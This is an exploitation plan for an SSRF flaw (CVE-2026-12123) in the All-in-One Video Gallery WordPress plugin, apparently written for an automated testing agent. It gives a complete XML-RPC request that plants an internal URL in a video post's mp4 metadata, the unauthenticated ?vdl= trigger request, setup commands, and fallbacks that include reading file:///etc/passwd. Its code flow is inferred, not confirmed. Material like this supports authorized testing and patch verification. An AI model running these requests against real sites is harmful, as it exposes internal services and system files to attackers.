Exploitation Research Plan - CVE-2026-12123

1. Vulnerability Summary

The All-in-One Video Gallery plugin (<= 4.8.5) is vulnerable to an Authenticated Server-Side Request Forgery (SSRF). The vulnerability exists due to an unauthenticated endpoint ?vdl=<post_id> that fetches and streams the content of a URL stored in the mp4 post meta of an aiovg_videos post. While the trigger is unauthenticated, the setup requires an attacker with at least Subscriber-level permissions to create a post and inject a malicious URL into the mp4 metadata via the WordPress XML-RPC API.

2. Attack Vector Analysis

• Vulnerable Parameter: vdl (GET parameter on the site root or index.php).
• Metadata Source: mp4 post meta key associated with the aiovg_videos post type.
• Authentication Required:
  • Setup Phase: Subscriber-level credentials (authenticated).
  • Trigger Phase: Unauthenticated (no login required).
• Endpoint: /?vdl=[post_id]
• Mechanism: The plugin retrieves the URL from the mp4 meta of the specified post ID and uses a server-side HTTP client to fetch the content, which is then passed directly back to the requester.

3. Code Flow (Inferred)

Based on the vulnerability description and the provided file list (specifically languages/all-in-one-video-gallery.pot referencing public/video.php):

1. Entry Point: A hook in public/video.php (registered via init or template_redirect) checks for the presence of $_GET['vdl'].
2. Post Retrieval: The code calls get_post( (int) $_GET['vdl'] ) to verify the existence of the video post.
3. Meta Retrieval: The code retrieves the video source URL using get_post_meta( $post_id, 'mp4', true ).
4. SSRF Sink: The server invokes an HTTP request (likely via wp_remote_get or curl) to the retrieved URL.
5. Data Exfiltration: The response body of the HTTP request is echoed to the output buffer, effectively streaming the internal resource back to the attacker.

4. Nonce Acquisition Strategy

The vulnerability description explicitly states that the ?vdl=<post_id> endpoint is unauthenticated.

• Setup (XML-RPC): XML-RPC wp.newPost does not use standard WordPress nonces; it relies on username/password authentication.
• Trigger (vdl): This endpoint is designed for file downloads or streaming and typically lacks nonce protection to support external player requests.

Conclusion: No nonce acquisition is required for this exploit.

5. Exploitation Strategy

Step 1: Create a Malicious Video Post via XML-RPC

Use the XML-RPC wp.newPost method to create an aiovg_videos post containing the SSRF payload in the mp4 custom field.

HTTP Request (http_request tool):

• Method: POST
• URL: http://<target>/xmlrpc.php
• Headers: Content-Type: text/xml
• Body:

<?xml version="1.0"?>
<methodCall>
  <methodName>wp.newPost</methodName>
  <params>
    <param><value><int>1</int></value></param> <!-- blog_id -->
    <param><value><string>subscriber_user</string></value></param>
    <param><value><string>subscriber_password</string></value></param>
    <param>
      <value>
        <struct>
          <member>
            <name>post_type</name>
            <value><string>aiovg_videos</string></value>
          </member>
          <member>
            <name>post_status</name>
            <value><string>publish</string></value>
          </member>
          <member>
            <name>post_title</name>
            <value><string>SSRF PoC</string></value>
          </member>
          <member>
            <name>custom_fields</name>
            <value>
              <array>
                <data>
                  <value>
                    <struct>
                      <member>
                        <name>key</name>
                        <value><string>mp4</string></value>
                      </member>
                      <member>
                        <name>value</name>
                        <value><string>http://127.0.0.1:80/wp-admin/</string></value>
                      </member>
                    </struct>
                  </value>
                </data>
              </array>
            </value>
          </member>
        </struct>
      </value>
    </param>
  </params>
</methodCall>

Step 2: Trigger the SSRF

Extract the post_id from the XML-RPC response (e.g., <value><string>123</string></value>) and request the vdl endpoint.

HTTP Request (http_request tool):

• Method: GET
• URL: http://<target>/?vdl=123
• Expected Response: The HTML source of the internal wp-admin page or the response from the targeted internal service.

6. Test Data Setup

1. User Creation: Create a user with the subscriber role.

   wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
   

2. Plugin Configuration: Ensure the All-in-One Video Gallery plugin is active.
3. XML-RPC Check: Ensure XML-RPC is enabled (default in modern WP).

7. Expected Results

• The XML-RPC request should return a new post_id.
• The GET request to ?vdl=[post_id] should return the content of http://127.0.0.1:80/wp-admin/ (or any other specified internal URL), proving the server made the request and relayed the response.

8. Verification Steps

1. Check Post Creation: Use WP-CLI to verify the post and meta were created correctly.

   wp post list --post_type=aiovg_videos
   wp post meta list [POST_ID]
   

2. Verify SSRF Log: If the test environment has access to server logs, verify that a request originated from the web server's IP to the target URL.

9. Alternative Approaches

• Encoded IDs: If ?vdl=123 fails, check if the ID needs to be base64 encoded using the plugin's internal logic.
  • Reference includes/helpers/functions.php: aiovg_base64_encode('123').
  • Try: ?vdl=MTIz. (Base64 for 123 using the plugin's specific char replacement: + to -, / to _, = to .).
• Different Post Status: If publish is restricted via XML-RPC for subscribers, try pending. The vdl handler might not check the post status.
• Protocol Variations: Test with other protocols if the underlying PHP environment supports them (e.g., file:///etc/passwd).